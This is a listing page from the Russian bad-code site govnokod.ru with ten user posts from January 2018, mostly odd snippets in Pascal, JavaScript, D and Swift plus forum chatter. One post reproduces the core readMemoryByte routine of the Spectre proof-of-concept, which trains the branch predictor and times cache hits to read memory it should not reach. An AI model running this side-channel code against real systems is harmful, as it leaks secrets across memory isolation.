1. Pascal / Говнокод #23646

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    program sharokat;
    uses crt, graphABC;
    
    type shar = class
     col, x, y, r: integer;
     constructor Create (ccol, cx, cy, cr: integer);
      begin
      col:=ccol;
      x:=cx;
      y:=cy;
      r:=cr;
      end;
     procedure make;
      begin
      setbrushcolor (col);
      circle (x,y,r);
      end;
    end;
    
    var my:shar;
    
    begin
     my:=shar.Create(666,100,100,60);
     my.make;
    end.

    Лёгкий способ наколдовать круг в паскале

    SewerSurfer, 09 Января 2018

    Комментарии (41)
  2. JavaScript / Говнокод #23645

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    brainfuck()
        
          .plus .plus .plus .plus .plus .plus .plus 
          .plus .plus .plus .plus .plus .plus .plus
          .begin
                .minus.next .plus .plus .plus .plus
                .plus .next .plus .plus .plus .plus
                .plus .plus .next .plus .plus .plus
                .plus .plus .plus .prev .prev .prev
          .end
          .next .plus .print.next .minus.minus.minus
          .minus.minus.print.next .plus .plus .print
          .prev .minus.print.plus .print.minus.minus
          .minus.minus.print.plus .plus .plus .plus
          .print.prev .minus.minus.minus.print

    https://github.com/1024--/peetooshnya/blob/master/bfdot.js

    huesto, 09 Января 2018

    Комментарии (5)
  3. Си / Говнокод #23644

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t * addr;
    
      for (i = 0; i < 256; i++)
        results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
    
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
          _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
    
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
          _mm_clflush( & array1_size);
          for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
    
          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
          /* Avoid jumps in case those tip off the branch predictor */
          x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
          x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
          x = training_x ^ (x & (malicious_x ^ training_x));
    
          /* Call the victim! */
          victim_function(x);
        }
    
        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255;
          addr = & array2[mix_i * 512];
          time1 = __rdtscp( & junk); /* READ TIMER */
          junk = * addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
    
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
          if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
          } else if (k < 0 || results[i] >= results[k]) {
            k = i;
          }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above won’t get optimized out*/
      value[0] = (uint8_t) j;
      score[0] = results[j];
      value[1] = (uint8_t) k;
      score[1] = results[k];
    }

    Красиво. Душевно.
    https://github.com/Eugnis/spectre-attack

    gost, 06 Января 2018

    Комментарии (35)
  4. Куча / Говнокод #23643

    0

    1. 1
    2. 2
    3. 3
    4. 4
    Политота #3
    
    #1: http://govnokod.ru/15804 (не открывается)
    #2: http://govnokod.ru/19910

    syoma, 06 Января 2018

    Комментарии (861)
  5. Куча / Говнокод #23642

    0

    1. 1
    Давайте обсудим meltdown и spectre.

    Объясните мне кто-нибудь, в чем принципиальное отличие spectre от meltdown? И как оно позволяет читать память других процессов? Все что я пока понял - это чтение памяти ядра, которое уже все прикрыли, и проблемы с жс в браузере.

    FrauSchweinhund, 06 Января 2018

    Комментарии (101)
  6. Куча / Говнокод #23641

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    mixin template IConvertible(Args...)
    {
        interface IConvertible
        {
            mixin template IConvertiblePrivate(T)
            {
            	T Convert();
            }
        
            mixin template IConvertiblePrivate(TFirst, Args...) 
            {
    	TFirst Convert();
    	mixin IConvertiblePrivate!(Args);
            }
            
            mixin IConvertiblePrivate!(Args);
        };
    }
    
    void main()
    {
       mixin IConvertible!(int, float);
       
       class Number : IConvertible 
       {
       	int Convert() { return 0; }
       	float Convert() { return 0.0; }
       };
    }

    #dlang

    В продолжение темы дженериков и шаблонов

    P.S. Проверочный код: hate

    Desktop, 06 Января 2018

    Комментарии (4)
  7. Куча / Говнокод #23640

    0

    1. 1
    2. 2
    На сайте поломался счётчик прочитанных комментов. 
    Всегда показывает, что я нихера не прочитал.

    inho, 05 Января 2018

    Комментарии (14)
  8. Куча / Говнокод #23639

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    import '/asyncio'
    
    main = async $ loop ->
      task = "Hello, {}!".format whatever where
        await asyncio.sleep 1
        whatever = "World"
    
      await task
    
    loop = asyncio.get_event_loop!
    loop.run_until_complete $ main loop

    http://pyos.github.io/dg/
    So dynamik very hasky

    roman-kashitsyn, 04 Января 2018

    Комментарии (5)
  9. Swift / Говнокод #23638

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    open class Converter {
        init() { }
        func convert<T, U>(from: T) -> U {
            return self.convert(from: T.self)
        }
        
        private func convert(from: MyClass1) -> MyClass2 {
            return MyClass2(value: from.value)
        }
        
        private func convert(from: MyClass2) -> MyClass1 {
            return MyClass1(value: from.value)
        }
    }
    
    let converter = Converter()
    let mC1 = MyClass1(value: 10)
    let mC2 = MyClass2(value: 30)
    
    let mc2_1: MyClass2 = converter.convert(from: mC1)
    let mc1_1: MyClass1 = converter.convert(from: mC2)

    So deep, too recursion

    Desktop, 04 Января 2018

    Комментарии (34)
  10. JavaScript / Говнокод #23637

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    var a = 5
    // блять сука оказывается тут будет ошибка
    (function() {
      alert(a)
    })()
    
    
    
    
    var a = 5;
    // блять ебать оказывается тут её не будет ёбаный в рот!
    (function() {
      alert(a)
    })()

    пора учить питон

    fuckercoder, 03 Января 2018

    Комментарии (54)